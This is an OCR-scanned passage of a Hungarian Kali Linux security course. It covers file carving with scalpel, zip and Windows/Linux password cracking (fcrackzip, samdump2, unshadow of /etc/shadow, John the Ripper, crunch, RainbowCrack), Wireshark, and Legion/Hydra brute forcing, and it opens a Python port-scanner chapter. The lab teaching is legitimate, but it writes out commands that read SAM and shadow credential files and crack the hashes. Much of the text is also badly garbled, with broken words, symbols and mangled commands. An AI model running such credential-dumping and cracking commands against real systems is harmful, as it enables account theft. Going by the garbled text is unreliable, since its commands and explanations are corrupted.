Disklabel type: dos

End Sectors Size
16 796G 83
S75M Extended
975M 82 Linux swap / Solari

fdev/sdb: 7.5 GiB, 8053063680 bytes, 15728640 sectors
¢ model: UDisk
sectors of 1 % 512 = 51:
or size (logical/physical)
/0 size (minimum; imal):
Disklabel type:
Disk identifier: @=63c4688c

Device Boot Start End Sectors Size Id
fdev/sdbl = 2048 8194047 8192008 3.9G 6 FAT16

/home/kali/Documents
'sdbl of=./backup.img status=progr

GB, 3.9 GiB) copied,

/home/kali/Documents

3. 8bra Lemezk®p el R8I1 2t 8sa
Ezt a lemésolt lemezképet fogjuk vizsgélni.

A folyamat neve carvingfdragay. Azt értjik alatta, hogyhelyre kell allitani a fajlokat egy fizikai

t 8rol -eszk®zr RI a f8jlok to°rl ®se, az eszk°z teorl
a ponton az eszk®z°n | ® R adatok <csakez&é@gy n®zn
b8§jtsorozat, amely nem tartalmaz inforfal§agy -t arr
fajlok.

Szamitdgépek esetén a fajl "torlése" nem feltétlendl jelenti azt, hogy a fajlban tarolt adatok (a fajlt
tartal maz. - bAF§jirendszereknedjetslik fajit (@rinak nevét és adatait), hogy szabadon
felhasznalhat6 Ezek a bajtolallokalatlan terletté'(nallocated space'valnak.

A f4jl bajtblokkbdl valoAk i f ar a a Slka§riazasnakneg kell keresnie a fajl fejlécét (és a
f 8] 1 t2pust - |é&). PéldguyaRNGfajl dejléteghextadcimalis formaban) 89 50 4e 47, a
lablée pedig 49 45 4e 44 ae 42 60 82. Az aldbbiakban egy példat mutatunk egy meghajtob ® v R
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adat er ¢l et egy darabj 8ra. Ha al aposan megn®zzy¢k,

PNG lablécetKékkel jelolve, és igy arra kovetkeztethetlrgkfejléc és labléc kdzotti adat (sargaval
jelolve) egy PNG fajlt.

71/9|6|8|5(4|4|]0|0|2|0|0O|6|6|0|0|0|0|0|4|4|4|4|6|8 |3 |8]|6
e|3|7]9|0]e|7|7]|]ala|0|0]|]2|0]|12|0]|J]O0O|O0]|O0O|9|5|e]4]0]2]|d|9]1

PNG header body PNG footer

32 abra Egy png fajl struktaraja

Kalinak van egy carving eszkdze a ScalpAlapértelmezés szerint minden f4jltipus ki van
kommentezve. Nymuk meg a scapel.conf fajlt és térdld ki a comment jelet (#) ahol a png fejléc és
labléc van megadva.

scalpel.conf

85 # i \ 5000000 \x47\x49\x46\x38\x37\x61 \x00\x3b

86 # i ) 5000000 \x47\x49\x46\x38\x39\x61 \x00\x3b

87 # \ 5242880 \xff\xd8\xff???Exif \xffi\xdg REVERSE
88 # \ 5242880 \xff\xd8\xff?22IFIF \xffi\xdg REVERSE
89 #

90 #

91 #

92 png \ 20000000 \x50\x4e\x47?  \xff\xfc\xfd\xfe

93 png 20000000 \Xx89\x50\x4e\x47 \x49\x45\x4e\x44\xae\x42\x60\x82|
94 #

95 #

96 # (used by MSWindows, use only if you have reason to think there are

97 # BMP files worth digging for. This often kicks back a lot of false

98 # positives

99 #

33. &bra Scalpel beallitas

Most futtasd a Scalpgir ogr amot . Az el sR param®ter a bemenet

kimeneti konyvtar, amelynek tresnek kell lennie.

- /home/kali/Documents
Lpel fhome/kali/Documents/backup.img fhome/kali/Documents/carved

/home/kali/Documents
=1 /home Li/Documents/backup.img /home/kali/Documents/«
ion 1
iritten by Golden G. Richard III, based on Foremost ©.69.

Opening target "/home/kali/Documents/backup.img”

: 100. R e Rt Tt

. Building carve lists ...

" and footer
" and footer

34. 4bra Scalpel talalati oldal
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A kimeneti mappéat megnyitva mindkét fajl megtalalhato.
png-1-0 - File Manager
File Edit View Go Help
€« ™~ M [home/kali/Documents/carved/png-1-0/

DEVICES
_E File System

© VBox_GAs_6...
4.2 GB Volume
PLACES

B kali

35. abra Torolt fajlok visszadllitasa

PASSWORD CRACKING

Hozzunk létre harom dokumentumfajlt docl, doc2 és doc3 néven:

touch doc1 doc2 doc 3
Hozzunk létre egy jelszévakdett zip fajlt:

zip - e documents.zip docl doc2 doc3
Ajelszblegyero p a s siwb®2Rj el ek n®I k¢ |
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-[~/Documents ]
* zipCracking

|- [ ~/Documents ]
Cracking

-[~/Documents/zipCracking]
docl doc? doc3

[j— -[~/Documents/zipCracking]

docl doc? doc3

[j— -[~/Documents/zipCracking]
z1i documents.zip docl doc2 doc3
Enter password:
Verify password:

adding: docl (stored 0%)

adding: doc: )

adding: doc3 (stored 0%)

[j— -[~/Documents/zipCracking]

docl doc? doc3

36. abra zip fajl 1étrehozéasa

El Rsz°r egy sz-list8s t8mad8§st fogunk al kal mazn
akkor ezeket a szavakat egyesével végig fogjuk probalgatni. Most egy ilyen adatbazist fogunk
hasznalni, ennek nevasttrack.

fcrackzip-u -D -p '/usr/share/wordlists/rockyou.txt' documents.zip

’_— ~/Documents/zipCracking
"/usr/share/wordlists/fasttrack.txt' documents.zi
zsh: command not found: fcrackzip

. ~/Documents/zipCracking
f Z1 'J/usr/share/wordlists/fasttrack.txt’' documents.zi

PASSWORD pw = password

37. abra Jelsz6torés
A megadott jelszégy masodperc alatt meglett.

Ezt a t2pus¥» t8&8mad8st brute force (nyers erR) t8§
lehet

A f8jl titkos2t8s8hoz haszn8lt zip verzi - -j8g8t- -1 f
egy vagy k®t bgjt k°Pvetkezik, amelyek ®&rt®keit n
utols- Db8jtoknak n ékeagelszdbizosam fosst. Ra a(bajteknmelyesel, akir t

lehet, hogy a jelsz6 helyes, de az egyetlen médszer ennek kideritésére a fajl kicsomagolasa, €s a
tomaritetlen hosszlUsag és a CRC ¢6sszehasonlitasa.
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példaul:
fcrackzip-b -v -c a-l 8 -p paaaaaadocuments.zip

Masik szétarfajl is hasznéalhato pl.:

gunzip /usr/share/wordlists/rockyou.txt.

WINDOWS JELSZO FELTORESE

A Security Account Manager (SAM) egy adatbazisfajl a Windows 10/8/7/XP rendszerben, amely
titkos2tott form8ban t8rolja a felhaszn8l -i | el s

C:\Windowssystem3&onfig

A jelsz- felt?°r ®s ®n e-dineleldkérédRe alSAN f@)leok Eeh hjeezl sezgayv &k | sk
szikséges, pl.:

https://www.openwall.com/passwords/windepwdump

Kali Linux seg?ts®g®vel is | ementhetR az adat. L
mel yi k az el sRdl eges Windows part?2ci
fdisk 7l

A k®pernyRn | 8tszik, hogy ennek a neve
dev/sdal
root@kali: flhome/kali
File Actions Edit View Help

k"

® /home/kali

Disk /dev/sda: 40 GiB, 42949672960 bytes, 83886080 sectors
Disk model: VBOX HARDDISK

Units: sectors of 1 * 512 = 512 bytes

Sector size (logical/physical): 512 bytes / 512 bytes

1/0 size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos

Disk identifier: @xa@4afbal

Device Boot Start End Sectors Size Id Type
/dev/sdal =* 2048 83884031 83881984 40G 7 HPFS/NTFS/exFAT

Disk /dev/loop@: 2.94 GiB, 3155832832 bytes, 6163736 sectors
Units: sectors of 1 * 512 = 512 bytes

Sector size (logical/physical): 512 bytes / 512 bytes

I/0 size (minimum/optimal): 512 bytes / 512 bytes

® /home/kali
ntfs /dev/sdal (mntl

38. dbra Windoes jelsz6 torése

Hozzunk |étre egy cél konyvtarat a mount konyvtarban

mkdir /mnt/source
Mountoljuk be a mereviemezt
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mount /dev/sdal mnt/source/
root@kali: /mnt/Windows/System32/config

File Actions Edit View Help

Disk /dev/loop@: 2.94 GiB, 3155832832 bytes, 6163736 sectors
Units: sectors of 1 * 512 = 512 bytes

Sector size (logical/physical): 512 bytes / 512 bytes

I/0 size (minimum/optimal): 512 bytes / 512 bytes

2 /home/kali
ntfs /dev/sdal /mnt

/home/kali

/mnt

bootmgr
BOOTNXT
BOOTSECT.BAK (%86)°

Windows/System32/confi

e /mnt/Windows/System32/config

39. abra Forrasfajl mountolasa

Lepjink be a Windows SAM f4jlt tartalmazé kdnyvtarba

cd /target/windows/system32/config
A SamDump2 kinyeri gelszavak hasértékeit és beirja a rof#lhasznalé kdnyvtaraba.

samdump?2 system SAM > /root/hashes/hash.txt
samdump2 system sam -0 out

Néhany példat az alabbi cimen talaluhttps://openwall.info/wiki/john/sampihashes

Mag8§hoz a felt°r®shez ahdspoh&ljthle. RApmendbearvdl @
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9 . Offline Attacks

9 = Online Attacks
ﬂ « Passing the Hash tools
ﬁ « Password Profiling & Wordlists
cewl
ﬁ crunch
E hashcat
]E:;l:';;i_johrl
i’ medusa
&; ncrack
ophcrack
ation Tools
W wordlists

Engineering

& 10-
@ 11 - Forensics
12 - Reporting Tools

8 Kali

40. abra Célkonyvtar megadasa
John the Rippeaiz alabbi jelszéfeltdrési modot tAmogat
1.E g y s erackmbd az entitasokat lehetséges jelszavakiesinti.
2. Szo6lista médmindenszo6tvégig probal a szélistaban
3. Ndévekményes mo(Brute-Force attack)mindenlehetséges karakterkombinaciét kiprabal
4.K ¢ | s R azalkakhazas egy programot hasznal, amely generélja a lehetséges jelszavakat.

Nézzuk, hogyamdrjik fel az alabbi Windows jelsz6t:

41. abra A jelszavakat tarol¢ fajl tartalma

Futtassuklohn the Rippet

john iformat=NT 7 single ~/Documents/pwdhash.txt
NT aWindowsjelsz6 formatumot jelenti.
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Using default input encoding: UTF
Loaded 1 password hash (NT [MD& 1
No password hashes left to crack

42. abra A jelszofeltorés futtatasa
Magéat a jelsz6t igy jelenithetjik meg:

john i show T single ~/Documents/pwdhash.txt
Mi nt | 8§t hat -, az Au0o6 felhaszngl - jelszava 1234E¢

Linux jelszo feltdrése

El Rs z ° r léthe@gy masnoldtot a jelszés shadow (arnyék) fajlokrél John shadow parancsaval.
Ehhez root jogosultsagokra van szikség.

unshadow /etc/passwd /etc/shadow > mypasswd

s

: mypasswd
fopen:

43. 4bra A shadow fajl megjelenitéséhez rendszergazdai jogosultsag sziikséges

A sudo su parancs kiadasa utdn az unshadow mar lefut:

~

[sudajmgaésword for kali:

® /home/kali
- /etc/passwd fetc/shadow mypasswd

44. dbra Az unshadow futasi eredménye

Az egyszerTs®g kedv®®rt haszn§ljuk az al ap®rteln
a parancs a k°vetkezR:

john mypasswd
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2 /home/kali

mypasswd

Loaded 1 password hash (sh
Cost 1 (iteration count) is

2 OpenMP th ds

eeding with sing

kali..kkali

45, abra A feltoréduttatasa

Ha | efutott a folyamat, az eredm®ny megtekinthet

john 1 show mypasswd

@ /home/kali

mypasswd
kali:kali:1000:1000:Kali,,,:/home/kali:/usr/bin/zsh

1 password hash cracked, @ left

46. abra Szolista hasznélata

Ha szoélistat szeretnénk hasznalni, akkor megadhatjuk annak fajlnevét

john -- wordlist=password.|st -- rules mypasswd
Szdlista létrehozésa jelsz6 toréshez

A sajat szdlista létrehozasahoz hasznaljuk a crohch crunch a megadott feltételek alapjan Iétrehoz
egy sz-list8t. A crunch kimenete el k¢l dhetR a k@

hasznalatcrunch <min> <max> [options]

ahol min és max egggy szam.

A slig6ban szamos j6 példa talalhat6, amely megkdonnyit a hasznalatot.
1. példa

crunch 1 8
A crunch egy szdlistat jelenit meg, amehlvaa | kezdRdiwke |I®sv zRdizkz z

2. Példa

crunch 1 6 abcdefg
A crunch egy szdlistat jelenit meg az abcdefg karakterkészlettel, anvely & k ez d Rd-vek ®s gg
v®gzRdi k.

3. Példa

crunch 1 6 abcdefg \

a karakterlanc végén szokoz van. Annak érdekében, hogy a crunch érzékékéza sA karakter
seg2ts®g®vel eszk®peli azt. Ebben a p®l d8ban i dGe
\, azaz "abcdefg ". Eredményként a Crunch egy szélistat jelenit meg az abcdefg karakterkészlettel,
amelyav al kezdRdizk| ®s v(@®@ zRad: i Kk° z

4. Példa
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crunch 8 8 - f charset.Ist mixalpha - numeric - all -space - o wordlist.txt -t
@@dog@ @@ chbdogaaa
A crunchn a k | ®t r e kel l hozni a egy 8 kRl alstzesrr mRlz -

karakterk®szl|l ettel, ®s a sz-listgal akewnpdRBRUi kt ®F X
" a v®gzRd®se

5. Példa

crunch 2 3 - f charset.Ist ualpha -s BB
A crunchelkezdi a szélista generalasat-BBIl és ZZZ nél fejezi be

6. Példa

crunch 45 - p abc
A szdmok nincsenek feldolgozva, de sziikségesek. Crunch ezt generalja: abc, acb, bac, bca, cab, cba.

7. Példa

crunch 45 - p dog cat bird
A szamok nincsenek feldolgozva, de szikségesek. Crunch ezt geneiréig@tdog, birddogcat,
catbirddog, catdogbird, dogbirdcat, dogcatbird.

Szivarvany tablakRainbow tables

A szivarvanytablak specialis szotartablak (adatbazisok), amelyek hash értékeket tartalmaznak a sima
sz°veges sz-t8ri jelszavak helyett. ezekkel h
RainbowCrack segitségével szivarvanytablat készit.

/home/kali
ts reserved.

.J/rcrack path [path] [ ... 1 -h hash

./rcrack path [path] [ ...] -1 hash_list_file

./rcrack path [path] [ ... ] -1m pwdump_file

./rcrack path [path] [ ...] -ntlm pwdump_file

directory where rainbow tables (*.rt, *.rtc) ar

-h hash: load single hash
-1 hash_list_file: load hashes from a file, each hash in a line
-1Im pwdump_file: load 1m hashes from pwdump file
-ntlm pwdump_file: load ntlm hashes from pwdump file

implemented hash algorithms:
1m HashLen=8 Plaintex
ntlm HashLen=16& Plaint

md5 HashlLen=16 PlaintextlLe
shal HashlLen=28 Plaintextlen=
sha256 HashlLen PlaintextLen=8-280

-h 5d41482abc4b2a76b9719d9110817c592
-1 hash.txt

47. abra Szivarvanytabla készitése

Néhany konverziés funkcio:
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fhome/kali

[-e end_point_bits] [-c chunk_size_in_mb] [-p]

start_point_bits
end_point_bits
chunk_size_in_mb

fhome/kali

48. abra Konverziés funkciok

A sziv8rv8ny t8bl 8k gener 8l 8sa nagyon i dRi g®nyes

/home/kali
ct. ALl rights reserved.

len_min plain e able_i 1ain_len chain_num part_index
len_min plain e able_i -bench

D 1000 @
7 @ -bench

49, dbra RainbowCrack haszndlati példa

Védekezés &zivarvany tablak ellen

Asziv8rvs8§ny t8bl 8k nem hat ®konyak azokn8l az egy
seg?2ts®g®vel to°rt®ni k @ajelszolibpds8nmak a fgéhhgeddraljukld:j egy Kk

saltedhash(password) = hash(password + salt)

A nagy m®retT s- az el Rre kisz&8§m2that- t&bl §kat
WIRESHARK
A Wireshark egy csomag | ehallgat - ®s el emzR es:

héldzati protokollbdl (azaz TCP, DNS stb.). A Wireshark rdgziti a hal6zati forgalmat a helyi hal6zaton,
és eltarolja ezeket az adatokat offline elemzéshez. az adatfehet:

1 Ethernet,

1 Bluetooth,

1 Wireless (IEEE.802.11),
1 Token Ring, etc.
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A Wireshark ked R k ®yiRe ren

File Edit View Go Capture Analyze Statistics Telephony

®)

A =

X &

Wireless

Tools

—-

Help

QQ QT

L] |.C\_|;.|: y a display filter ... <Ctrl-/>

Welcome to Wireshark

Capture

...using this filter: | |E-1te-' a capture filter ...

eth0 AL-"\\.:"A_&!\-‘L-‘

Loopback: lo

any

bluetooth-maonitor

nfleg
nfqueus

dbus-system
dbus-session
@ Cisco remote capture: ciscodump

@) DisplayPort AUX channel monitor capture: dpauxmon

@) Random packet generator: randpkt
@ systemd Journal Export: sdjournal

@) S5H remote capture: sshdump
@) UDP Listener remote capture: udpdump

PR

50. abra Wiresharkk e z d Rk ®per ny R

Az abran az ethO adapter mellett egy kis grafikon lahaté. Ez azt jelenti, hogy az ethO adapter haldzati

forgal

Capturing from eth0

mat

bonyol 2t

Ha

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

A @

RC Qe EFT &=

kett Rt

Q Q&

katt

nt unk

= 3
L] "App y a display filter ... <Ctrl-/>
No. Time Source Destination Protocol Lengtt Info
28 12.751544880 fe80::29a3:cebf:6ac.. TrO2::fb MDNS 90 Standard query 0x0000 A wpad.local, "QM" guestion
29 12.752144010 fe80::29a3:.cebf:6ac.. ff02::1:3 LLMNR 84 Standard query 0xa25@ A wpad
30 12.752144130 192.168.1.104 224.0.0.252 LLMNR 64 Standard query 0xa2b@ A wpad
31 13.156127626 Dell_Bc:ef:58 Broadcast ARP 68 Who has 192.168.1.1117 Tell 192.168.1.160
32 13.177415638 fe80::2%9a3:cebf:6ac.. ffB2::1:3 LLMNR 84 Standard query 8xa258 A wpad
33 13.177415725 192.168.1.104 224.0.0.252 LLMNR 64 Standard query 8xa2580 A wpad
34 13.403885761 192.168.1.104 192.168.1.255 NBNS 92 Name query NE WPAD<Q@>
35 13.576887967 fe80::29a3:cebf:6ac.. ff02::16 ICMPVE 90 Multicast Listener Report Message v2
36 13.601910099 :cebf:6ac.. ffe2::16 ICMPVE 90 Multicast Listener Report Message v2
37 13.601910201 90 Multicast Listener Report Message v2
38 13.602547072 fe8 :cebf:6ac. ffe2::16 ICMPVE 90 Multicast Listener Report Message v2
39 13.604955526 192.168.1.104 224.0.0.251 MDNS 81 Standard query 0x000@ ANY DESKTOP-NIUVMHB.local, "QM" question
40 13.604955717 fe80:.29a3:cebf:6ac.. ffR2::fb MDNS 101 Standard query 0x0008 ANY DESKTOP-N1UVMHB.local, "QM" question
41 13.605@31520 192.168.1.104 224.0.0.251 MDNS 119 Standard query response @xP08@ AAAA feB8@::29a3:cebf:Bach:768a A 192.168.1.1604
42 13.606489798 fe80::29a3:cebf:6ac.. ff@2::Th MDNS 139 Standard query response @xB080 AAAA feB@::29a3:cebf:Bach:768a A 192.168.1.1684
43 13.605585852 fe80::29a3:cebf:Bac.. ffB2::1:3 LLMNR 95 Standard query Oxccbc ANY DESKTOP-HN1UVMHB
44 13.605585927 192.168.1.1084 224.0.8.252 LLMNR 75 Standard query @xccbc ANY DESKTOP-Ni1UVMHE

AR 12 TA1ARARA1
Frame 37:

Ffafifl- - 7022 rahf:Rar

FEA2: - Fh

MDNS

a0 Standard

auars AvRRAA A wmad 1necal
90 bytes on wire (720 bits), 99 bytes captured (720 bits) on interface eth®, id @

Ethernet II, Src: IntelCor_b6:2f:al (7c:bB:c2:b6:2f:al), Dst: IPvBmcast 16 (33:33:00:00:00:16)
Internet Protocol Version 6, Src: feBB::29a3:cebf:Bach:768a, Dst: ffE2::16
Internet Control Message Protocol v

51. abra Forgalmi adatok

"OMY nuae tinn

az

Miutan rogzitetiink néhany csomagot, vagy megnyitotk egy korabban mentett régzitési fajlt,
megtekinthgtik egy adott csomag adatait a csomagok listajgfiftheze gy s z er T enkegy 8§k at t i
csomagraa z eszkdz ekkanegjeleniti a kivalasztott csomagot fa néeetes bajt nézet ablakan

adap

A fa barmely részét tovabb bonthatjuk és részletes informaciot tekinthetiink meg egyes csomagok

protokolljairdl. A fa egy elemére kattintva bajt nézetet kapi#étdaul egy TCP csomag kivalasztasa

lathatd az 4bran. Az Uzente fejléce is szamos informtgeidif 3] .
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Wireshark  Packet 1015 - eth0

» Frame 1015: 66 bytes on wire (528 bits), 66 bytes captured (528 bits) on interface ethd, id @
» Ethernet II, Src: PcsCompu_ab:e8:ic (98:00:27:ab:@8:1c), DSt: Tp-LinkT al:Sc:ae (74:ea:da:al:Sciae)
» Internet Protocol Version 4, Src: 192.168.1.102, Dst: 52.84.169.5
~ Transmission Control Protocol, Src Port: 47198, Dst Port: 443, Seq: 1, Ack: 1, Len: O
Source Port: 47198
Destination Port: 443
[Stream index: 6]
[TCP Segnent Len: 0]
Sequence number: 1 (relative sequence number)
Sequence number (raw): 2817811438
[Next sequence number: 1  (relative sequence number)]
Acknowledgnent number: 1 (relative ack number)
Aoknowleagnent nunber (rav): 208702100
... = Header Length: 32 bytes (8)
Flags: 0x010 (ACK)
Window size value: 502
[Calculated window size: 64256]
[Window size scaling factor: 138]
Checksun: 0x638e [unverified]
[Checksum Status: Unverified]
Urgent pointer: 8
) Options: (12 bytes), No-Operation (NOP), No-Operation (WOP), Timestamps
) [SEQ/ACK analysis]
» [Timestanps]

74 ea 3a al 5c ae 08 80 27 ab B8 1c B8 00 45 00 i\ E
00 34 c2 44 40 00 40 06 15 18 c0 aB 01 66 34 54  4-D0-@ 4T
60 05 b8 Se 0L bb a7 r4 63 ee @c 70 8a 9d 80 10 m- A cop

6030 1 6 63 8e 0@ 60 01 [ ©8 Ga 1b d3 16 4f 3e 8e cff 0>
€111

[ X close || 52melp

52. 4bra TCP csomag fejléce
Az adatoszl opok adatai t[2lir ®sz|l etesen a felsR r ®sz
No.: Ez a rogzitethdatsomagsorszamaA zaréjel azt jelzi, hogy ez a csomag egy beszélgetés része.

Il dR: Ez az oszl|lop azt mut adtgmakorrogzitették ézbagcgomagot.r © g z 2 -
Ezt az értéket a Beallitasok menumeddosithatjk.

Forr 8s: Ez a csomag c2m®t k¢l dR rendszer c¢2 me.
Cél: Ez a csomag cimzettjének cime.

Protokoll: Ez a csomag tipusa, példaul TCP, DNS, DHCPV6 vagy ARP.

Hossz: Ez az oszlop a csomag hosszat mutatja bajtban.

I nform8ci - : Ez az oszlop tov8bbi i nform8ci - kat
valtozik, hogy milyen csomagrol van sz6.

Ha a hal6zati forgalmat vizsgaljuk akkor rengeteg csomagot fogunkAdtdireshark kémaédszerrel
cs°kkenti az elemzendR adatok mennyi s®g®t

f felv®teli szTrRk ®s
f n®zet szTr Rk
alkalmazéasaval.

Ha egy adott gazdagép forgalmat szeretnéd rogziteni, ird be

host 192.168.1.101
Egy port tartomany megadasa:

net 192.168. 1.100/24
Megadhatsz egyedi port szdmokat is Pbmain Name Services port (53)

port 53

Szamos statisztika all rendelkezésre:
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File Edit View Go Capture Analyze [EEliE(sl Telephony Wireless Tools Help
Capture File Properties Ctrl+Alt+Shift+C k

mae® ([
[W]current filter
No. Time Source

1613 639.777790353 192.168.1.162

1614 639.793176103
1615 639.793218992

1616 639.795853729
1617 639.805935661
1018 639.811859478
1619 639.813374465
1620 639.813404527
1621 639.813853872
1622 639.813873353
1623 639.820149630
1624 639.820448384
1625 639.821991931

2 76

1827 639.838987594
1828 G39.838987664
1829 639.840585081
1AIA R0 QARRATANA

LEGION
A Legion egy nyz21lt
fejlesztettek ki, ®s

biztonsagi auditdlasa és a halozati sérilékenységetritélse, amelyet egy kdnnyen hasznalhat6
grafikus felhaszndl6i felulettel (GUI) biztosit a reewyp keretrendszerhez. A Legion segitségével
automati z8lt inform8ci

52.84.109.5
192.168.1.1602
192.168.1.102
192.168.1.102
52.84.109.5
52.84.109.5
192.168.1.1602
52.84.109.5
192.168.1.1602
192.168.1.102
192.168.1.102
52.84.109.5

52.84.189.5
52.84.189.5
52.84.189.5
102 1R2 1 1Q7

Frame 1015: 66 bytes on wire (528 b)
Ethernet II, Src: PcsCompu_ab:88:1c
Internet Protocol Version 4, Src: 1
Transmission Control Protocol, Src |

Resolved Addresses
Protocol Hierarchy
Conversations
Endpoints

Packet Lengths

1O Graph

Service Response Time
DHCP (BOOTP) Statistics
ONC-RPC Programs
29West

ANCP

BACnet

Collectd

DNS

Flow Graph

HART-IP

HPFEEDS

HTTP

HTTP2

Sametime

TCP Stream Graphs
UDP Multicast Streams
F5

IPv4 Statistics

IPvE Statistics

53. dbra Statisztikak megjelenitése
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domain nevek ésdhdzati szolgaltatasok részleteit. Az alkalmazas integralja az Nmap eszkozt, igy
portszkenneléseket hajt végre és felismeri a nyitott portokat, valamint az ott futé szolgaltatasokat, ezzel
segitve a sérllékeny pontok gyors azonositasat.

A Legion tovabbi fontos képessége, hogy adatbazisokhoz, fajlmegosztasokhoz és halozati
szolgéltatasokhoz kapcsol6d6 sértlékenységeket keres, amivel biztonsagi hibak feltérképezését
t 8mogatj a. Modul &ri

hozz8ad§8s8ra, 29y
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a
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teszi, ami nagyban megkonnyiti a jelentégkést és dokumentalast.
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File Help
Scan Brute
Hosts | Services  Tools Services | scripts  Information = CVEs Notes  smbenum (445/tcp) =
as, Ly Port Protocol State Name Version
o w cpen mape  Micosoft Windaws ReC
® 137 udp open netbios-ns Microsoft Windows netbios-ns (workgroup: WORKGROUP)
® 139 tep open netbios-ssn  Microsoft Windows netbios-ssn
@ 445 tep open microsoft-ds  Microsoft Windows 7 - 10 microsoft-ds {workgroup: WORKGROUP)
A &)@
Processes | Log
Progress  ~  Elapsed Est. Remaining Pid Tool Host Status
OO 1.825 0.00s 2589 nmap (stage 1) 192.168.1.100 Finished
I 110.18s 0.00s 2593 nmap (stage 2) 192.168.1.100 Finished
M 4.335 0.00s 2603 smbenum (4... 192.168.1.100 Finished
[N 09.04s 0.96s 2602 nmap (stage 3) 192.168.1.100 Running

54, 8bra Sebezhet Rkabmidssali zsg8&l at Legi on

Miutan megadtuk5. abra Legion futtatasa z e | | e n RrairzeomBR yIltPR a Legi on °sszegyT]j
sz8§m2t- - g®pr RI

Add host(s) to scan seperated by semicolons - 0 X

192.168.1.100

IP(s), Rangels), and Host(s)

Ex: 192.168.1.0/24; 10.10.10.10-20; 1.2.3.4; bing.com

Mode Selection

® Easy Hard

Easy Mode Options

v Run nmap host discovery v Run staged nmap scan

Timing and Performance Options

Paranoid Sneaky Polite Normal Aggressive Insane

Submit @ cancel

Szamos beadllitas all rendelkezésre:
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File Help

Scan | Brute

Hosts | Services | Tools Services  Scripts | Information | CVEs  Notes  smbenum (445/tcp) smbenum (445/tcp) screenshot (1947 /tcp
05 n
Host Status Addresses Location
IPv4: 192.168.1.100
State: up IPv6: unknown Country Code: unknown
Open Ports: 10 MAC: D4:BE:D9:8C:EF:58 City: unknown
Vendor: Dell
Closed Ports: 0 ASN: unknown Latitude: unknown
ISP: unknown
Filtered Ports: 65525 Longitude: unknown

Operating System
Name: Microsoft Windows Server 2008 R2 or Windows 8.1
Accuracy: 100

&[] (@]

3

56. abraA bedllitask

Van brute force :t8mad8sra is | ehet Rs®g

File Help

Scan | Brute ‘

i |

P [192.168.1.100 | Port |22 | service | rlogin = [ stop |

V| Try blank password |v| Try login as password v Loop around users v/ Exit on first valid v/ Verbose Additional Options

) Found usernames

Username | root | ) username list | || Browse |

) Password  |password | ) password list | || Browse | (® Found passwords Threads |16 ~

Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws
and ethics anyway).

Hydra (https:/igithub.com/vanhauser-the/thc-hydra) starting at 2021-01-03 14:26:23

Processes Log

Progress =~ I d Est. ini Pid Tool Host Status
I 1.825 0.00s 2589 nmap (stage 1) 192.168.1.100 Finished
I 110.185 0.00s 2593 nmap (stage 2) 192.168.1.100 Finished
TN~ 128.04s 0.00s 2602 nmap (stage 3) 192.168.1.100 Finished
OIINTINNNY 4235 0.00s 2603 smbenum (4... 192.168.1.100 Finished
DI~ 108.00s 0.00s 2634 nmap (stage 4) 192.168.1.100 Finished

smbenum (

57. abra Tamadas kivitelezése
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HIVATKOZASOK

[1] https://tools.kali.org/toolisting

[2] https://www.varonis.com/blog/hciwo-usewireshark/

[3] https://www.wireshark.org/docs/wsug_html_chunked/ChapterWork.html
[4] https://www.openwall.com/john/doc/EXAMPLES.shtml
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BIZTONSAGI ESZKOZOK FEJLESZTESE PYTHON NYELVEN

BIZTONSAGI ESZKOZOK FEJLESZTESE
PYTHON NYELVEN

PYTHON PORT SCANNER

A portok a halézati kommunikacidban olyan logikai végpontok, amelyeket a szamitégépek és szerverek
haszn8l nak atkamiazgdol ésbszaigftatdsok kozotti adatdramlas szabdlyozasara és
azonos?2t8s8ra. A portok |l ehetRv® teszik, hogy t°
interneten vagy helyi hal6zaton keresztil anélkil, hogy 6sszekevernék az adatokat.

A socket kommunikacié soran a portok biztositjak, hogy az adott szamitdogéphez vagy szerverhez
be®r kezR adatokat a megfelelR al kal maz8s vagy sz
k¢l ©°nb°zR port el ®r het R, am®l pelotlodkhmélt RkKAt t ®&®S z ia
azonositsanak. Minden port egyedi szdmmal rendelkezik (0 és 65535 kozott), és kilonféle
al kal maz8sokhoz vagy szolg8ltat8sokhoz rendel het

1 a80as port gyakran a HTTP (Hypertext Transfer Protosodlgaltatasé, amelyen keresztil a
webol dal ak b°ng®szRben megtekinthet Rk.

1 ad43as port a HTTPS (Hypertext Transfer Protocol Secure) kommunikaciéhoz hasznélatos,
amely biztonsagos, titkositott adatkapcsolatot nyujt.

1 a 22-es port az SSH (Secure Shell) kapcsolatokhoz, azaz biztonsagos tavoli belépéshez
hasznalt.

A portok az adatatvitel irdnyitasara szolgalnak a kulonféle alkalmazasok kdzott. Amikor egy alkalmazas
elindul, és halézati kapcsolatra van sziiksége, az operacioés rendszer szamara lefoglal egy portot,
amel yen kereszt ¢l el ®r hezteRvv® rv 8mTikke.d i Hag pop&Ikd§ u | a .
fogadja a be®rkezR k®r ®seket, m2-gspertgrykonimtrkdl( Fi | e
Ezzel biztos2that-, hogy az adatok mindig a megf

A nyitott portok jelentRs biztons8gi kock8zatot
hogy hozzaférjenek a szamitbgéphez vagy halézati rendszerhez. Ha egy port nyitva van, azt jelenti,
hogy a rendszeren fut6 alkalmazéas vagy szolgaltatasamgdatforgalmat azon a porton keresztil, igy

el ®r het Rv® v§8lik a k¢lsR h8l - zati k ®r ®s ek sz8m§
akkor, ha a nyitott port nincs megfelel Ren biztoc

FR biztons8gi kock8zatok nyitott portok eset

1. Tamadasi fellulet névelése: Minden nyitott port Ujabb belépési pontot jelenthet a tAmadok szaméara.
Minél tobb port van nyitva, annal nagyobb a kockazata annak, hogy a tdmadok taldlnak egy
sebezhet Rs®get, amel yet ki hadaikusagdzkermelimash&lozatokatt § ma d
nyitott portok utg8n kutatva, ®s ha egy port nyi
inditani ellene.

2. Szolgaltatas e bezhet Rs ®g ek : Egy nyitott port méegott f
lehet ismert vagy 0j tdmadasokkal szemben. Ha példaul egy régebbi verzidju webszerver fut a nyitott
porton, amelyen ismert biztonsagi rések talalhatokmeadék ezt kihasznalhatjak, hogy jogosulatlan
hozzaférést szerezzenek, vagy mas médon tdmadast hajtsanak végre.
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3. T8vol.i hozz§8f ®r ®s : Bi zonyos nyitott portokho
hozzaférést a rendszerhez, példaul SSH-e@2port), RDP (3388s port), vagy adatbazis

szol g8l tats8sok. Ha ezek a porltokrRs ngpekaserpblvalgf
hiteles2t®s vagy tTzfalak alkalmaz§8sa §ltal), a
